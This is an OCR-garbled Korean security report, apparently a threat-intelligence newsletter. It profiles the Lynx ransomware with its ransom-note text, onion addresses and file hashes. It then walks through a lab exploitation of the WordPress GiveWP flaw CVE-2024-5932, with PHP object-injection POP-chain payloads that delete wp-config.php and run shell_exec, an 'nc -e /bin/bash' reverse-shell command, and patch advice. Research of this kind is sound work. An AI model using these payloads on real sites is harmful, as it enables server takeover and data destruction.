':Bbkfeewx_’c cb.wBL.p;d2hb¥23-cX"eCIEch.»th eXpnhC 1unanh b2 kL nquaﬂqu 2xvZ21uDQogfi ELT
d "

'b29,cn uWHQub25pb2— bCQna
"w¥z12czZjaHk3bnlhN2RzdTJoaH
"RecDovL2x5bnhjaGF@yYnlrcTI2elN

"2xvZ21uDQogfiBUT1IgT cm9y ICMB01iBodHRwOi8vbH1ueGNoYXRkZTRZcHY1eDZ4l LPd;Z“QSanR L3d8d3dna|r<
"b2¥;b3hthBCdTHih3h— d ”Qub25pb2$ rbGEInalaNC 1B+ IFRPULBNaXIyb3IgI zURIGhAdHAGLYIseWs4Y2hhdGR "™
.3Rn¥3Lpanhxb2"cc3hrcGh cGlyamZxMmyY@cHZ INXFkNHVUNGRoCX 14 3dxZC5v bn’"b’°3b2dpbgBkIP+gd-°SI=

a;RCZT,Ban wnp,.nL2w"'

1pcnd jNjogaHRBcDovL2x5bnhjaGF@ZHLrcG91baZmcx2Y218cnk2bzdnegszcnMyYWlhZ2g3 ZGRENXImdHREN
"nFleHFkLmIuaWiul2xvZ uEchf|BLT"IgTr ycmIy ICM301BodHRwO18vbH]lueGNoMms LeGkzNWo 3aGxibXdsN202"
"dT v

jR2CDI3cX;2cH23b2w2*jij2Q:ZDchL_ cHQub2Spb2iub69naﬁ4HCgEKT3UyIEZ5b2c6DchfiBtT"IgTwU“
"Bd29yazogaHRBcDovL2x5bnhibGIneHN 1 t 1
"FkLmIuaWIuLweK TH4gVEISIElpen

ﬂuaﬂgu .BPIHqg'-BSI- pcnu
a2827316aGt3Z6GNscmpuZ3Imb21kL nqua

b
cndq.zqhdkB andua Vi
"gaHRecDovL2xShnhi bGQneFuEd

"GuLwdK IH4g TWlycmay ICM30iBodH
& );

ueGlsb2cubmvaLwakI

a9 16. Lynx W e] A E Base64 2T

Lynx #4d9Jol= Base6o4 = 17GH WAHLE J&S tjadste] Ageith dagdy HdLEE
dsstyE Ero] HAE mAdz AFEAY, olnzz W] wjAFstHoR HAEe, A4H
TAE 2 g5t S8t INC HAY )% Base64 2 AP H AL ES Brs) AF8spA|gt
Lynx #dolet= g2 HAE ot wZm HIML HA9 T 7k2] A9 HHLEE

Fgatths Aol de] gr.

encrypred
Download TOR Browser to contact with us.

ID
™~ 66b33295a23128b53533bd263

Chat site:
™ TOR Hetwork: http://lynxchatlyszludmhmi?sjrwhycnoqukxbiprohxmyzfieufsgjxroad.onion/login
TOR HMirror #1: http://lynxchatfuwlrgsclpi567i411kqjr2kltaumwwobxdik3qaZoorrknad.onion/login
TOR Hirror #2: http://lynxchatohmppvéaué?llocZusichy7nya7dsu2hhs55mejxp2joglad.onion/login
TOR HMirror #3: http://lynxchatbykq?vycvyrtjqb3yujizeZwodubzr2uéb632trwedbsgmyd.onion/login
TOR HMirror #%: http://lynxchatdelspuSxoxlwsf47 jdo7uwtwwgikdoeroxamphude?xx5doqd.onion/login
TOR HMirror #5: http://lynxchatdy3tgcuijsqofhssopcepirjfq2fipubsqdiunidhqyxswqd.onion/login

TOR HMirror #6: http://lynxchatdykpoelffqlucbtryéo?gxk3drs2aiagh?ddz5yfttdéquxqd.onion/login
TOR HMirror #7: http://lynxch2k5xi35%j7hlbmwl?déuZozivpZuqpéqkuwolé2icod3déiqiyqd.onion/login

Our blog:
™~ TOR Hetwork: http://lynxblogxstgzsarfykZpvhdva5igghbdzmthnzmsipzeoduruz3xwqd.onion/
TOR Mirror #1: http://lynxblogco?r37 jt7pSwrnfzzqze7ghxwirihzkqcd55qluacwotciyd.onion/
TOR Mirror #2: http://lynxblogijysjfoblgix?klxmkbgeelleoeuge7qtufpfkjszbiZsjyd.onion/
TOR Hirror #3: http://lynxblogmx3rbiwg3drpjlinds25hjsnrukpxtSgaznetfikzhigz2csyad.onion/
TOR Mirror #4: http://lynxblogoxllthibiécfwlopSpfjus?dyvd¥yuy?qn2ftantgd72hsad.onion/
TOR Mirror #5: http://lynxblogtwatfsrwjdoatpejwikEbngqcd5f7s26iskagfufouaomjad.onion/
TOR Mirror #6: http://lynxblogxutufossaeawlijdjlduikalollSko6grzhkwdcly jngrfoid.onion/
™ Mirror #7: http://lynxblog.net/

3% 17 Lynx BHLo] HEshE A
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Lynx @49l d-&4¢

infosec

Initial Access

Discovery ol HETUF Seh WHHOf =

T1652
T1135

el 7|H ©X| F2M ALSS St o W Xigh II

\%—g‘;

Privilege Escalation Ha|R S A B L AS S

GPO & B EZ 44 A N

[m

Impact

Lynx #iddlol= oY HF & ol Aupect. weba] odAeg ooy glxz] gF2
TAZS] w8l HREudSs G| g s Fodfjof gttt o]E A
olfd o] F-S &A|stal A= Email Threat Response & Detection &F42 AMEsl= 2%

Fatzolt},

ASR 714 EYsHE S oY B9 Kjch

ASR 713 #4sHE S8 oy el Kjct

ClloJE| i

T1486
T1490
T1489

Q

y

13 18. Lynx WA o] -3¢t

ANl AT AsEAN AT gL Fush] A AFY UEYA FH A9L
QAT A2 Edolug WAl vhREWCL olF WAstW B9 W BA &4
Agel oliet oby A9E ABT & Aot

= = [e]
T zp Fste] a3ty Lynx SAdHol= Exo At A 7l1sol 971 ‘IH—E—OH, *};ﬂoﬂ %W}
A< 945 st @S FARte R Hofsi= 222 0l A4R3IE oL AL e &
itt, F7F2, ASR(Attack Surface Reduction)?® 7212 @ASISIAY FAA7E AMEsSt=E E
TRAAE ApRe] o P =2 4 Qlrh

o,

d
_|.,

Lo

}12 o2, Lynx YAl VEYT FH wAE gEsnz YEAD FF A4 W2
e AasSAL vgySe) 9% elase] AASHH Rel=Ss ojof ek Ed, Al
HEpel A2 BT slbe B MU 4 GRS NG AR A nEd, HEo
MEYIL AFao] HlolelE Batstel WMedsk o] Fastck.

=

or

3 ASR(Attack Surface Reduction): 3Ax}7} AMgsH= EA T2 A4l Ad 71535 TRAAS AHstE BT 7]
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l—“ Indicator Of Compromise "1

Lynx : SHA256

571f5de9dd0d509ed7e5242b9b7473c2b2cbb36bab4d38b32122a0a337d6cf8b
eaa0e773eb593b0046452f420b6db8a47178c09e6db0fa68f6a2d42c3f48e3bc

INC : SHA256

5a8883ad96a944593103f2f7f3a692ea3cdelede71cf3de6750eb7a044a61486
d147b202e98ce73802d7501366a036ea8993c4c06cdfc6921899efdd22d159¢6

File Name(Lynx)
Windows.exe
File Name(INC)

runner.exe

win.exe
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H Zt0 AO|E

+ Jenkins &4] &Ho]A] (https://www.jenkins.io/security/advisory/2024-01-24/)

« CISA 4] &5 0]A] (https://www.cisa.gov/known—exploited-vulnerabilities—catalog)
« NIST =% FoF4 dlolel¥o]~ (https://nvd.nist.gov/vuln/detail/ CVE-2024-23897)

+ Fortinet 34 227 (https://www.fortinet.com/blog/threat—research/stomping—shadow—copies—a-
second—look—into—deletion—methods)

+ Sophos &4 EH©]2] (https://news.sophos.com/en—us/2024/08/14/edr—kill-shifter/)

+ BleepingComputer 541 &mfo]Z] (https://www.bleepingcomputer.com/news/security/fbi—disrupts—the—-

dispossessor—ransomware—operation—seizes—servers/)
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Research & Technique

WordPress GiveWP PHP Object Injection FeFH(CVE-
2024-5932)

m (oA e

1o

o

GiveWP = 7|8 9 Rg ZdE F5& 58o= AEsh= WordPress Z#1%lo]ty. AHE0]
2495 Stripe, PayPal, ©Zeil § thFet B S0 233 gle] HAIAHSE 100,000 A
o]Are] WordPress H©]A|7} dig Za] 1918 A}-g3ict

OSINT 74 17¢ 53] Aedl Aol FME GiveWP Z2|19g 233 A7}, 20249 99 3%
71 vl= 5de HRS SRS =7 SWe] A AROlECA GiveWP E21%E 7IH ¥ Re

o
=
QEOZ G Foltt

i3

Z4: fofa.info

1% 1. WordPress GiveWP =212 AR 54

2024 A 8 & 19 ¢, WordPress GiveWP &2]71212] PHP Object Injection F°FH(CVE-2024-
5932)0] &N =tt. Wordfence ©] Bug Bounty Program = Fdfl AE ¥ &
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mtetulgo] tigh A AFo FAR ofolz el ZHsH dolgo tigt JZHs) & F9t o4
FPLA7t A 4 Q7] wjRo] gttt BAAE did k-2 53 POP Chain 7S 83|
o] F=5 APst 4 Ut
2AH ALzl
CVE-2024-5932 o] 54 AU ot Lt
infosed

® CVE-2024-5932

6

@ MtHol] =St xH=Z7] dx]

@ MH XIHoZ AS s 1=

1% 2. CVE-2024-5932 272 AU

® BARE V|8 L 23 BUEOR Gvewp SIQAL AFBE Y FEH Mo 4

@ BARHE CVE-2024-5932 H{OHS 01Botol ol ol Xt Glo|E WS

® BARIE olNel Mt HOIES Sof Ay U Ysaim K27 4K

@ BARKE Aio] SXE YBBH MB7|2 MH XHAS 0lgoto] YT 2
= L

B YeHh= ATEQ0 HZ

CVE-2024-5932 o] Z|oFst

AmEYe] WAL TheT} 2k,

S/W F£ #o B

GiveWP plugin

3.14.1 O|™

4 243} (serialization): Hlo|E FZU QHAE AHE AFAL 4+ =
5 A3} (deserialization): d# o] HO|ERZRE flo]g 125 FETIE= 2
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m HAE 2F #d ZE

HAE 338 &8 CVE-2024-5932 ¢ & 148 4w}
o2 HE
WordPress 6.3.2
| o X} GiveWP plugin 3.14.1
(192.168.102.74)

Kali Linux
(192.168.216.131)

msfizt PC o] WordPress & A2|ett}. o] % s Y=g~ wo]x]ofl CVE-2024-5932 F{eF3]o]
ZAsHe 3.14.1 |1 WA GiveWP Z2]191 4

GiveWP Z271%19] 79, /wp—content/plugins/give/languages/give.pot A=l Z2]71Q1 HH7}
714 o] A& o] Sl

O A 192.168.102.74/wp-con

KaliLinux #8 KaliTools = KaliDocs & Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking

ewp
1buted under the same license as the Give - Donation Plugin plugin.

a3 3. A GiveWP 219 FR Fl
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Step 2. FIH HAE

PoC A3f A Fofet WA ol GiveWP Z2]1%1 0% 243t 7|5 w0z F45 Sl

O A& 1192.168.102.74/2024/09/03

locs M Kali Forums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

(CYE-2024-5932 Donation Confirmation  Danstion Failed  Donar Dashboard  Sample Page

CVE+2024-5932

Support Our Cause

0

o

£10,000

g

39 4. FF GiveWP 2222 ZYHE 7|7 Holx] &<l

CVE-2024-5932 4 HIAEE 91§ PoC 7} A%H EQST Lab <] GitHub Repository URL -
oh2at 2t
« URL: https://github.com/EQSTLab/CVE-2024-5932

FAZ PC oA git clone HH & AFgoto] CVE-2024-5932 49 PoC & th=z =g},
Cclone https: Fhub . com/EQSTLab,
oning into 'CVE-2
ote: Enumerating
mote: Counting o
ote: Compressing objects: i
ote: Total 16 el 7), reused 5 ) a eused @ (from @)
eiving objects: 10
olving deltas: 1

g objects: 16, done.
bijects: 18 '
:
d

9 5. CVE-2024-5932 PoC TI2ZE
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F3h, EQSTLab o] 2jZAEZe] A3 HIote] PoC & ThREEE W & Qlrh. EQSTLab
FEZAEG A CVE-2024-5932 PoC o= t}ofst AtnE &elgh 4= Qi
« URL: https://github.com/EQSTLab/CVE-2024-5932

%5 | github.com/EQSTLab * £ Incognito

Solutions ~ Resources ¥ Open Source ¥ Enterprise ¥  Pricing Q | Sign in ‘ Sign up |

0 Overview [ Repositories 13 [ Projects & Packages 1 Stars 4

Xopular repositories

CVE-2024-5932 Public git_rce Public

Public Race_Condition Public

EQSTLab

hook Public CVE-2024-23997 Public

Follow

Experts, Qualified Security Team Shell

A5 followers - 0 following

EQSTLab g|ZAEZ7} otd T E ZEAEL | HT § t2Zs & H$ol= CVE-2024-
_%_

I9 7. FHIE {FEA
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the2E 9k poC T2 CVE-2024-5932.py @t CVE-2024-5932-rce.py & APt 4= glom,
547 PC ol 5 so]2 =71 mlsizte] GiveWP 211104 HgHt,
| $ python3 CVE-2024-5932-rce.py -u [GiveWP 7|5 HO|X|] - [Z O] |

ZAZ PC 2] Reverse Shell 2 AZA3dH= PoC A AW = ooyt Z,

$ python3 CVE-2024-5932-rcepy -u http://192.168.102.74/2024/09/03/cve-2024-5932/ -c “nc
192.168.216.131 7777 —e /bin/bash”

ST PoC A3 AWMEES offiet o] 47 PColA it

~/CVE-2024-5932
CVE-2024- 5932 rce.p:.r -u http://192.168.102.74/2024/09/03/cve-2824-5932/ -

$16.131 7777 -e fbin/bas

13 8.PoC A AWE oA]
o]% w3z} PC 7} FAA}F PC 9] Reverse Shell 2 o] ® A& sHold 4= It} gl A4d A4
Azetd ooz PC o] QAR 23] AA| 7p5oic),
fhome/kali

listening on
192.168.216.1: Jer host lookup failed: Unknown host
connect ta [1'13IJ 68.32 31] from (UNKNOWN) [192.168.216.1] 64732

cat

root: oot.froot:fbinfbash
daemon 1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin in:/bin:/usr/sbin/nologin
SY510 :sys:/dev:/usr/sbin/nologin
19 9. Reverse Shell 42 &el
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FFH Al B4 oA CVE-2024-5932 FHepdo] WA st= delE a8 o= At

1 S HBA43} Step 2 oAM= 499
qEst & 4+ QS o WAYSH= PHP Objection Injection 523 POP Chain 7]9Hell thHafA
1= 3 Oﬂ/‘ﬂi g 7'M E85te] WordPress of 71 4= &= 524 AUz 9

2
>
rr
>
o
Y
O,
)
N
N
e
=
—_>‘i(‘;
Hl
2
X,
el
ol
i)
r
i
2
O

Step 1. oK A=At #4324 AH BA
CVE-2024-5932 & olafal7] 1584 A% WordPress 7153 AHAF Q2 ghe Aelshe WA
g olsirt Baste

1) WordPress Hooks 7|52 Entry Point &4

WordPress o= ZEQ] &2 H49F Hore T3 st Hooks 7152 A sttt Hooks = Actions 2+
Filters & 7FA] §3do] 94|, o] = Actions 75L& EA 0|29 Action ©| A3PE uw AA=
EX & AYgsh= 7152 AT wp—content/plugins/give/includes/ol $1*]gF process—
donation.php FE9] ¢ ©2¥ Zo| Action &= add_action & Tl EH T4t

AAFIY},

Ub

otg] & Action &(wp_ajax_give_process_donation, wp_ajax_nopriv_give_process_donation)-=
Sr4=(give_process_donation_form)t AZ2H A& 2RI &4 St

add_action( '
add action(

add_action( '

39 10. process—donation.php W add_action &&

HA Z9] add_action('wp_action_nopriv_give_process_donation’, ‘give_process_donation_form’)
AZER] e A&7} give_process_donation ©]gh=  Action & /wp—admin/admin-
ajax.php & Fot] AP of give_process_donation_form & SEoHItt= 22 3ttt o=

wp—admin W 9JA]3t admin-ajax.php & Fs &AL 4 9low o s e
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$action = $ REQUEST[
( is_user logged in

! has_action
wp_die( ° 400

do_action
{
! has_action

wp die( ‘@', 400

do_action

3% 11. admin—ajax.php Y Action &

@QHTTP REC 2R H action LIZt0|EHE 2O} $action B0 XN ESHCL.

@is_user_logged_in &+& S 2¥S 2 ALEA7E 210 FUX =l

ot

A
@229 F0|2tH wp_ajax_0fl $action @t=2 20 oiZ 0|59 Actiong ZTETICL

@219l &0| ofL|2tM wp_ajax_nopriv_0il $action @t=2 =20 sl 0|52 Action = =ETHCE.

9 EAS 1HPLS o, action TEHu]E O] give_process_donation = ol QFSIH =9I
Lol Aragl o] wp—content/plugins/give/includes/process—donation.php e 1

give_process_donation_form &7} T&H}.
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2) Foket A3t Ay 2
? give_process_donation_form &= ofgfjet o] give_donation_form_validate_fields &5
ol HTTP 8% mefn]el7 &

give process_donation form() {

S
X
oY
>
S
i)

$post data = give clean{ $ POST );

! give verify donation_form _nonce( $post dataf[ 't
$is_ajax

do_action(
give die();

give send back to checkout();

do_action(

$valid data = give donation form_validate fiel

I9 12. 2oy R84 25 @

give_donation_form_validate_fields &4 Wofl= HTTP 273 zmtetulg o 2 E3std dlo]g 7t

EAot=A] AAFSHE give_donation_form_has_serialized_fields &7} $1#]all Q1.

n give donation_form validate fields() {

$post_data = give_clean{ $_POST );

! empty( $post_data[
give set _error

f (give donation_form | lized fields($post data))
give set error(’'inva serialize ields", esc_html

73 13, AEshE doldl 4 4% A4 g5
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2dste  dlolgy  EA BE  HAFH=  give_donation_form_has_serialized_fields &=
$post_data_keys o SFoh shetalESE At

n give donation form_has serialized fields({array $post data): bool

$post_data

($post_data as $key => $value) {
! in_array($key, $post_data_keys, true

is_serialized($value)

2,

% 14. give_donation_form_validate_fields &<~

give_get_donation_form_user oA give_title TEtEE  ArEsStEdl ol ZESt AS
ol A AASHA] b=

ion give get donation_form user( $valid data

f ( empty( $user 1 || strlen{ trim{ % 13 )<1){

$user| v ' empty( $post _data['s rip tags( trim( $post data[’

a9 15. user_title ohetale] A#F

S =2 o]%of give_title BEU|E 2 DB of] AHH. o= give_title mEtm]E o] “EQSTtest”
AH ZF 93 ©]F, wp—content/plugins/give/src/Donors/Repositories/DonorRepository.php F=
ol A ofefjet Zo] DBl _give_donor_title_prefix 7]19] gto= Aoz Sl 4= Qlrt.
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Output

a3 16. give_title Y42 3= DB o A%

o]% A= _give_donor_title_prefix 7]2] 4t wp—content/plugins/give/includes/payments/class—
give-payment.php A£AFE Yo FTHH Give_Payment S2LO|A get_meta FTE Tl
S &

o] W E2|E= get_meta @
maybe_unserialize 7 Qlo] 2EstE b AAE AY gor Yo AHrb o] ¢F

P9g =5 BE 5 9ok,

FrE WpHos Eeel Mol ARD e s
O
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I9 18. DB 27 eE I F TEste 9489 &+

e Hil= I el stripslashes_deep @7 WE AAdSI=H WWWW=2 3] 7Fsolth
et I W strip_tags ¥ AR 93] WS AFE 2 null € AlASH:E 2AHE W0 2

T
93] 7F5FS g,

$price,
$purchase key,
fuser
date
stripslashes deep( $user_info ),
$post data,

¥-m-d H:i:s5", current time{ 'ti

$valid data
=» $valid data

£ ( empty u itle || strlen( trim{ $user
$user[ 'user_titl =1 give_title 2 |strip_tags( trim( $post_data[ "give
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Step 2. PHP Object Injection 12|31 POP Chain

243} ol E Este] ol AAHEI}E 5 U2 flolA =l o] wf PHP Object
Injection FZo] 7}sstH, o] &8st7] YoiA= PHP Object Injection 32 e} POP
Chain ]| gt o]sf7} € as}rt.

1) PHP Object Injection
PHP Objection Injection F9FHd-2 PHP Serialization FeFdolztaie Bt o] AR8AFY] 9™

-1 a
= unserialize @Foll AAR HEHH glo] MES 4 & o FAst= FeFH oItk unserialize
@7t dREsY W, qaus gyl Fds 4TS el FEE PHP Y dAcE
&3ty PHP wj4] #iA== PHP 9 7]& 42 ABYcts = A& Ee 549 HAE.
ASFOIA 8 4 Ak PHP o2 WASe 1 AT ol 2o,
o= HIME g
__construct A dH Al =E
_ wakeup AXEH3} 0|2 =&
__destruct A ota| Al ZE
_call HZ 27t g "2 A =8
_set HZ 27 44 #e 488 I =%
_get HZ 27 44 #e g I =%
__toString HHIL EXER NelE i ==
Wk, o2 WSS PHP Objection Injection & 5o 221 715 £4:ghe Q142 54 942
Afst= A9, oid Qg de WIS A7t ofAQl P9E stes’ f=d 4 Utk o=
71-_0_

TempFile 271 otal 7Hg 5] E A}
cla?s)TempFlle {

Bublic function __destruct() {

L]fnlink($this—>file); #2 unlink( ‘/temp/test’)
()
¥
TempFile 2~ Woll= file ol2b= £/4d0] Sl=dl, HxH file £4 3t AHE7F Sl 2Es)
delBE ot 22 ZEx B4 5 Sl

class TempFile {
public $file;
public function __construct() {
$this—>file = "/tmp/test’;  #1 Set Tempfile's property value
}
}

$a = new TempFileO;
echo serialize($a);

© %4 (property): 22 WiolH FoR WA, AR o] S e PlolelE olshn] g,
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> php serialize.php
0O:8:"TempFile":1:{s:4:"file";s:9:"/tmp/test";}

g APst dolHES AU, file SAGOR ALE “Vemp/rest” U] AAHLE. o

A2 F3} Al TempFile S#22] _ destruct W% HIAEZ} file &/d%el iFot= TS AHAlsH ]

Oriented Programming) " ¢} FAFSHA PHP Z& XZ&ES
Aer 3aclel, flobq AR ol WA 7 el Hek AE Bof, 3 Be W
TempFile, Process & ZeA7F 9= o,

class TempFile {
(..)

public function __destruct() { #3 Magic method : call $this->shutdown()
$this -> shutdown();

public function shutdown() { #4 $this->handle->close = new Process()->close();
$this->handle->close();

—~—

}

class Process {

Bublic function close () {
system(‘kill €.$this->pid); #5 $pid = ;touch eqgst’;

b
)

}

2~

HP Object Injection FeFFo] TASHH TempFile ¥ Process 24 & o 11 2= A%
A& & 4 AT POP Chain 7|¥2 &84 o3 22 Ftz 9% 23} HolgHE
A 2Es}st Al “touch css” HHS AP 5 Ut
class TempFile {

public $handle;

public function _ construct() {
$this -> handle = new Process(); #1 Set Tempfile's property value
}

2 ol

}

class Process {
public $pid;
public function _ construct() {
$this -> pid = “; touch css”; #2 Set Process's property value
}

}

$a = new TempFile();
echo serialize($a);

" ROP (Return—Oriented Programming): A3 87H5¢ fejel I Afoly -2 Het HrolE 235|517 5] “7FAl(Gadget) o2l
B 7AES ddst Aol e S st 34 VW
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9 TEE AWE Avhe e 2L AYs) golHz

> php serialize.php

0:8:"TempFile™:1:{s:6:"handle";O:7:"Process":1:{s:3:"pid";s:11:"; touch css";}

o]= Process 29| close() MAME7} TempFile 220 _ destruct #i#] A ==7E POP

Chain 7192 58 Ho] 7387 wEo] AT,
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Step 3. 4 75 AlUEL

PHP Object Injection @} POP Chain 7|¥-& &-85to] GiveWP ©of 524 7} Al et 4o
ot AbA|, o] e Adgo] it

D 27 474 od AAZ QIR FH oA &
GiveWP o= pdf #4 AL dH= TCPDF 2H= @Z4~ PHP golEzig7l Ut wp-
content/plugins/give/vendor/tecnickcom/tcpdf/  A=ZoA I 4 glow, dd HZ U
S
T

tcpdf.php AAFES &9l5tH TCPDF 2~ AAFEE 8RQISH At A AT EfA

golgt 4= Q= destruct "jZ] HAE AAFEE oS ot

__destruct()

iz-> destroy

19 21. TCPDF 234 W _ destruct & A=

5 ZA Y _destory HINES T&HH, _destroy HAEQ teFAel F=2 Felshd o33}
2t
TCPDF {
_destroy($destroyall=f > $preserve_objcopy=
‘pdcutr‘oxall AND !$preserve objcopy && isset($this->file id)
:$cleaned_ids[$t >fFile_id] =

;

($handle = @opendir(K_PATH_CACHE)) {
!== ( $file name = readdir( $handle )
strpos($file_name,
unlink(K_PATH_CACHE. $f119 name) ;

closedir($handle);

(isset($this->imagekeys)) { @
->imagekeys as $file
strpos($file, K PATH CACHE) === © && TCPDF STATIC::file exists($file)
@unlink($file);

1% 22. TCPDF 284 W _destroy HIAE
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@ $destroyall 2£O| true 0|11 $preserve_objcopy €LO| false O| &4 $file_id 40| UA=X| HAFSHLE

@ &°d $imagekeys HiEO| EX|St= TS St X|R2LCt

$destroyall &2 _ destruct W& A=A Q&R true Fol FEEHA O™, $preserve_objcopy
T2 71RO false 7F AAEER, &4 $file_id 9 $imagekeys dh= HAFt AAE A HI} oA
ALstH AH= $imagekeys B2 [AEH mrdo] AAE Akttt o] wf, Stepl oA ATt
Hie} Zo] NULL Hfo|E= W0 o2 283t F Aok ghrt. “wp-config.php” ©4-& AAsh=

243} dlo]H payload & tht 2t}

class TCPDF {
protected $imagekeys = array();
protected $file_id; # When using protected properties, replace "null" with "\@"
public function _ construct(){
$this->file_id = md5('123");
$this->imagekeys = ['/tmp/test'];

}
}

$a = new \TCPDF();
echo serialize(%$a);

> php serialize.php

O:5:"TCPDF":2:{s:12:"*imagekeys";a:1:{i:0;s:27:" /var/www/html/wp-
config.php";}s:10:"*file_id";s:32:"101ac776f8a731a1285672ff7b071d03";}

AZIA AR o HE3t dlolH& Stepl oA A HRel Zo] NULL HPO|E= W0 o2
285kl backslash(W)+= backslash 4 7H(WWWW) 2 ]2+ F ZA<EsfjoF gict.

> php final_serialize.php

O:5:"TCPDF":2:{s:12:"#0*W0imagekeys";a:1:{i:0;s:27:"/var/www/html/wp-
config.php";}s:10:"W0*#0file_id";s:32:"101ac776f8a731a1285672ff7b071d03";}
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39 23. wp—config.php =& 4}A4] &3
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2) POP Chain & ©]-83 ¥ ¥ A3

Step2 o4 A3t POP Chain 7S &8st Ao g 4 Fsottt. Wordfence ©fl Al
TN AR w2 ofgfle] POP Chain 2 Eaf 9 Hd Addo] 7bsdd, 1 Azrde
StripeWStripeObject 22142 _ toString 2] HA o]

>
o
A
e
N

instance of:

__toString magic method Stripe\Stripeobject '

toArray method

$_values[’foo’] instance of:

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData ‘ 1

toArray method getLegacyBillingAddress method

SuserInfo[’address’] instance of: ¢

Give

addressl property

__get magic method

§container jnstance of:

\Give\Vendors\Faker\ValidGenerator ' Sy
get method

__call magic method

$validator property is ‘shell_exec’ string ~

invoke the shell_exec() function:

call_user_func($this->validator, $res)

ZA]: www.wordfence.com

aY 24. 94 3% 44L& 93 POP Chain 74
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[e)

e
olr

fo

Stepl oA drg2t
HAEZE A& = ALl o] AA =

BT, et 7

o
f
for
i
i
i)
4

SHAl =¥, __toString wiZ]
= g3}t dHeoldHE

namespace Stripe{
class StripeObject

protected $_values;
public function __construct(){
] = new

$this->_values['foo'
\Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();

}

}

namespace Give\PaymentGateways\DataTransferObjects{
class GivelInsertPaymentData{

public $userInfo;
public function __construct()

$this->userInfo[ 'address'] = new \Give();

}
}
}
namespace{
class Give{
protected $container;
public function __construct()
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}

namespace Give\Vendors\Faker{
class ValidGenerator{
protected $maxRetries;

protected $validator;
public function __construct()

$this->maxRetries = 10;
$this->validator = "shell exec";

}

namespace{
$a = new Stripe\StripeObject();
echo serialize($a);

> php serialize.php
0:19:"StripeWStripeObject™:1:{s:10:"*_values";a:1:{s:3:"fo0";0:62:"GivettPaymentGateways¥DataTransferOb

jectsWGivelnsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";0:4:"Give":1:{s:12:"*container";0:33:"Give

WVendors#Faker#ValidGenerator":2:{s:13:"*maxRetries";i:10;s:12:"*validator";s:10:"shell_exec";}}}}}}
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1% 25. ValidGenerator 232 W _ call W3] A=

@ call_user_func_array &5 &9l ValidGenerator 222 W %54 $generator 210 HHE A2 $name
HMEO 22 $arguments TEN D= = $res O BHEtfES MESHC)
g

@ 2944 34 g3 o2t0jEHE Qs $validator B0 MEE L2l “shell_exec” 2t $res & call_user_func

9 TgRro Rt 9o By AWL T 4 Yok $res of sk ghol Wasolof | FY
$name ©f “get”, $argument o “address1’o] LAHAH SR Fo]7}7]
get(“address1”) WA & o $&8 4 gl ZeAwt WUt 7Hs51)

Mo o
2 o

2o
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webA $generator gloll Wste FHAE F7t=E AASHoF bt get(“addressl”) HIAE ©& Al
Hok= de wiEd 5 A wtEs SdAe AA AAFEE FAE AR wp-
content/plugins/give/src/Onboarding W SettingsRepository.php o4 2 4= Ql3dh sig
S 29| get HINES FQlsHH tha} gt

get($name)

s->has ($name)
his-»settings|%name

Ly

% 26. SettingsRepository ;A W get HIAE

£ settings o U= T2 Pname 7l siFshE ghol AHH ST g RMEeE @t
webA, Q= 2 addressl 7] gtoll sidote= 44 W@ olE Wil SettingsRepository 22| 249]
&4 settings HIGE AAstH o] W Aso] slssith ofd FES 715 of4d A Hs)
Holg & AAsH= PHP 7= thgu) Zoh
namespace Stripe{

class StripeObject
{

[e3

s

protected $_values;
public function __construct(){
$this->_values['foo'] = new
\Give\PagmentGateways\DataTransferObjects\GiveInsertPaymentData();

¥
}

namespace Give\PaymentGateways\DataTransferObjects{
class GivelInsertPaymentData{
public $userInfo;
public function __construct()

$this->userInfo['address'] = new \Give();

}

namespace {
class Give{
protected $container;
public function __construct()

$this->container = new \Give\Vendors\Faker\ValidGenerator();

}

namespace Give\Vendors\Faker{
class ValidGenerator{
protected $maxRetries;
protected $validator;
protected $generator;
public function __construct()

$this->maxRetries = 10;
$this->validator = "shell exec";
$this->generator = new \Give\Onboarding\SettingsRepository();

}

namespace Give\Onboarding{
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class SettingsRepository{
protected $settings;
public function __construct()

$this -> settings['addressl'] = 'touch /tmp/EQSTtest';
}
}
}

namespace {
$a = new Stripe\StripeObject();
echo serialize($a);

> php serialize.php
0:19:"StripeWStripeObject™:1:{s:10:"*_values";a:1:{s:3:"fo0";0:62:"GivettPaymentGateways¥DataTransferOb

jectsWGivelnsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";0:4:"Give":1:{s:12:"*container";0:33:"Give
WVendorsiFakerWValidGenerator":3:{s:13:"*maxRetries";i:10;s:12:"*validator";s:10:"shell_exec";s:12:"*gener
ator";0:34:"GiveWOnboardingWSettingsRepository™:1:{s:11:"*settings";a:1:{s:8:"address1";5:19:"touch
/tmp/EQSTtest"; 11}

oA71A4 e o AESt dolEle Stepl oA AW HReF Zo] NULL HIOJEE W0 o=
212F5tal backslash(WH)= backslash 4 7|(WWWW) 2 2|3kt 5§ A&Sfjof sttt 24 Hol2E+=
che vt 2t

> php final.php

0:19:"StripeWW#WStripeObject™: 1:{s:10:"#W0*W0_values";a:1:{s:3:"fo0";0:62:" Give W PaymentGateways
WA DataTransferObjects#iWitGivelnsertPaymentData": 1:{s:8:"userInfo";a:1:{s:7:"address";0:4:"Give":1:{

s:12:"W0*W0container";0:33:"GiveWW#VendorsWWwwWrakertttwiwValidGenerator":3:{s:12:"W0*#Ovalidat
or";s:10:"shell_exec";s:12:"W0*W0generator";0:34:"GiveWWWWOnboarding W SettingsRepository":1:{s:1
1:"WO*#0settings";a:1:{s:8:"address1";5:19:"touch%20/tmp/EQSTtest";}}s:13:"WO0*#WO0maxRetries";i:10;}}}}}}
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A FAol W2t touch /tmp/EQSTtest HHe o4 Aot dolHz AFshd o=3 2ol
5t

o
AYEE A AT 5 Uk
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m S ulot

O -
CVE-2024-5932 7} W& =]7] A<l 8 4 7, o FoFde g WA 3.14.2 7k SAI=
s M AAFEE ol JAE T HeRE we 5 olrh

« URL: https://downloads.wordpress.org/plugin/give.3.14.2.zip

2] o]F WA wHo] Q= AAFEE H|WSHH, FeFgo] IAYH process—donation.php ]
give_donation_form_has_serialized_fields WA EoA tr23 o] HEF metuHE 715 A

T 5 At

3%12 function give_donation_form_has_serialized_fields(array $post_data): baoaol
423 fpost _data_kevs = [

424 ‘give—form—id’,

475 ‘give-gateway ',

